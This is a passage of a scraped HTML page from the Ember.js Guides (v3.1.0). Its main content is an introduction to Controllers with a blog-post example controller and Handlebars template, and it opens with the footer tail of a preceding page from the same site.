0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Introduction - Controllers - Ember Guides</title> <meta name="description" content="What is a Controller? A Controller is routable object which receives a single property from the Route – model – which is the return value of the Route's model() method. The model is passed from the Route to the Controller by default using the..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Introduction - Controllers - Ember Guides"> <!----> <meta property="og:description" content="What is a Controller? A Controller is routable object which receives a single property from the Route – model – which is the return value of the Route's model() method. The model is passed from the Route to the Controller by default using the..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Introduction - Controllers - Ember Guides"> <!----> <meta name="twitter:description" content="What is a Controller? A Controller is routable object which receives a single property from the Route – model – which is the return value of the Route's model() method. The model is passed from the Route to the Controller by default using the..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember327028" class="es-header ember-view" role="banner"><div id="ember327029" class="ember-view"><div class="container"> <nav id="ember327030" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember327031" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember327032" class="navbar-collapse collapse ember-view"><ul id="ember327033" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember327034" class="dropdown nav-item ember-view"> <a href="#" id="ember327035" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember327037" class="dropdown nav-item ember-view"> <a href="#" id="ember327038" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember327040" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember327041" class="dropdown nav-item ember-view"> <a href="#" id="ember327042" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember327044" class="dropdown nav-item ember-view"> <a href="#" id="ember327045" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember327047" class="nav navbar-nav ember-view"> <form> <div id="ember327048" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember327049" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember327050" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember327051" class="ember-basic-dropdown ember-view"> <div aria-label="v3.1.0" aria-owns="ember-basic-dropdown-content-ember327051" tabindex="0" data-ebd-id="ember327051-trigger" role="button" id="ember327052" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.1 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember327051" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember327056" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember327059" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/getting-started" id="ember327060" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember327061" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327063" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/tutorial" id="ember327064" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember327065" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327067" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/object-model" id="ember327068" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember327069" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327071" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/routing" id="ember327072" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember327073" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327075" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/templates" id="ember327076" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember327077" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327079" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/components" id="ember327080" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember327081" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327083" class="cp-Panel cp-is-open ember-view"><a href="/v3.1.0/controllers" id="ember327084" class="cp-Panel-toggle selected ember-view"> Controllers </a> <div id="ember327085" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember327086" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 selected"> <a href="/v3.1.0/controllers/index" id="ember327088" class="ember-view"> Introduction </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327090" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/models" id="ember327091" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember327092" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327094" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/applications" id="ember327095" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember327096" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327098" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/testing" id="ember327099" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember327100" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327102" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/ember-inspector" id="ember327103" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember327104" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327106" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/addons-and-dependencies" id="ember327107" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember327108" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327110" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/configuring-ember" id="ember327111" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember327112" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327114" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/contributing" id="ember327115" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember327116" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember327118" class="cp-Panel cp-is-closed ember-view"><a href="/v3.1.0/glossary" id="ember327119" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember327120" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember327121" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.1.0. <a href="/release/controllers" id="ember327122" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.1.0/controllers/index.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Introduction </h1> <hr> <div id="ember327123" class="ember-view"><h3 id="toc_what-is-a-controller">What is a Controller?</h3> <section aria-labelledby="toc_what-is-a-controller"> <p>A <a href="https://api.emberjs.com/ember/3.1/classes/Controller">Controller</a> is routable object which receives a single property from the Route – <code>model</code> – which is the return value of the Route's <a href="https://api.emberjs.com/ember/3.1/classes/Route/methods?anchor=model"><code>model()</code></a> method.</p> <p>The model is passed from the Route to the Controller by default using the <a href="https://api.emberjs.com/ember/3.1/classes/Route/methods/setupController?anchor=setupController"><code>setupController()</code></a> function. The Controller is then often used to decorate the model with display properties such as retrieving the full name from a name model.</p> <p>A Controller is usually paired with an individual Route of the same name.</p> </section> <h3 id="toc_defining-a-controller">Defining a Controller</h3> <section aria-labelledby="toc_defining-a-controller"> <p>We only need to generate a Controller file if we want to customize the properties or provide any actions to the Route. If we have no customizations, Ember will provide a default Controller instance for us at run time.</p> <p>To generate a controller, run</p> <pre><code class="bash language-bash">ember generate controller my-controller-name </code></pre> <p>This creates a controller file at <code>app/controllers/my-controller-name.js</code>, and a unit test file at <code>tests/unit/controllers/my-controller-name-test.js</code>.</p> <p>The controller name <code>my-controller-name</code> must match the name of the Route that renders it. So if the Route is named <code>blog-post</code>, it should have a matching Controller named <code>blog-post</code>. The matching file names of the Controller and the Route signals to Ember that this Controller must be used when landing on the <code>blog-post</code> Route.</p> </section> <h3 id="toc_where-and-when-to-use-controllers">Where and When to use Controllers?</h3> <section aria-labelledby="toc_where-and-when-to-use-controllers"> <p>Controllers are used as an extension of the model loaded from the Route. Any attributes or actions that we want to share with components used on that Route could be defined on the Controller and passed down through the Route’s template.</p> <p>Controllers are singletons so we should avoid keeping state that does not derive from either the Model or Query Parameters since these would persist in between activations such as when a user leaves the Route and then re-enters it.</p> <p>Controllers can also contain actions that enable the Route's components to update the Model or Query Parameters through it using Computed Properties.</p> </section> <h3 id="toc_basic-controller-example">Basic Controller Example</h3> <section aria-labelledby="toc_basic-controller-example"> <p>Let's explore these concepts using an example of a route displaying a blog post. Assume that the route returns a <code>BlogPost</code> model that is presented in the template.</p> <p>The <code>BlogPost</code> model would have properties like:</p> <ul> <li><code>title</code></li> <li><code>intro</code></li> <li><code>body</code></li> <li><code>author</code></li> </ul> <p>In the example below, we can see how the template is using the model properties to display some data.</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/blog-post.hbs>&lt;h1&gt;{{model.title}}&lt;/h1&gt; &lt;h2&gt;by {{model.author}}&lt;/h2&gt; &lt;div class="intro"&gt; {{model.intro}} &lt;/div&gt; &lt;hr&gt; &lt;div class="body"&gt; {{model.body}} &lt;/div&gt; </code></pre> <p>Consider the example where we want to have a controller for a <code>blog-post</code> route. In this controller, we are looking to keep track if the user has expanded the body or not.</p> <pre><code class="javascript language-javascript"data-filename=app/controllers/blog-post.js>import Controller from '@ember/controller'; export default Controller.extend({ isExpanded: false, actions: { toggleBody() { this.toggleProperty('isExpanded'); } } }); </code></pre> <p>The property <code>isExpanded</code> keeps track if the user has expanded the body or not. The action <code>toggleBody()</code> provides a way for the user to provide their setting. Both of the them are used in the updated template below.</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/blog-post.hbs>&lt;h1&gt;{{model.title}}&lt;/h1&gt; &lt;h2&gt;by {{model.author}}&lt;/h2&gt; &lt;div class='intro'&gt; {{model.intro}} &lt;/div&gt; &lt;hr&gt; {{#if isExpanded}} &lt;button {{action "toggleBody"}}&gt;Hide Body&lt;/button&gt; &lt;div class="body"&gt; {{model.body}} &lt;/div&gt; {{else}} &lt;button {{action "toggleBody"}}&gt;Show Body&lt;/button&gt; {{/if}} </code></pre> <p>We can see that if the property <code>isExpanded</code> is toggled to true, we will show the body property of the model to the user. This <code>isExpanded</code> is stored in the controller.</p> </section> <h3 id="toc_common-questions">Common questions</h3> <section aria-labelledby="toc_common-questions"> </section> <h6 id="toc_should-we-use-controllers-in-my-application-ive-heard-theyre-going-away">Should we use controllers in my application? I've heard they're going away!</h6> <section aria-labelledby="toc_should-we-use-controllers-in-my-application-ive-heard-theyre-going-away"> <p>Yes! Controllers are still an integral part of an Ember application architecture, and generated by the framework even if you don't declare a Controller module explicitly.</p> </section> <h6 id="toc_when-should-we-create-a-controller">When should we create a Controller?</h6> <section aria-labelledby="toc_when-should-we-create-a-controller"> <ul> <li>We want to pass down actions or variables to share with a Route’s child components</li> <li>We have a computed property that depends on the results of the model hook</li> <li>We need to support query parameters</li> </ul> </section> </div> <footer id="ember327124" class="ember-view"> <a href="/v3.1.0/components/triggering-changes-with-actions" id="ember327125" class="previous-guide ember-view">Triggering Changes with Actions</a> <a href="/v3.1.0/models/index" id="ember327126" class="next-guide ember-view"> We've finished covering Controllers. Next up: Models - Introduction </a></footer> </article> </main> <footer id="ember327127" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember327128" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember327129" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 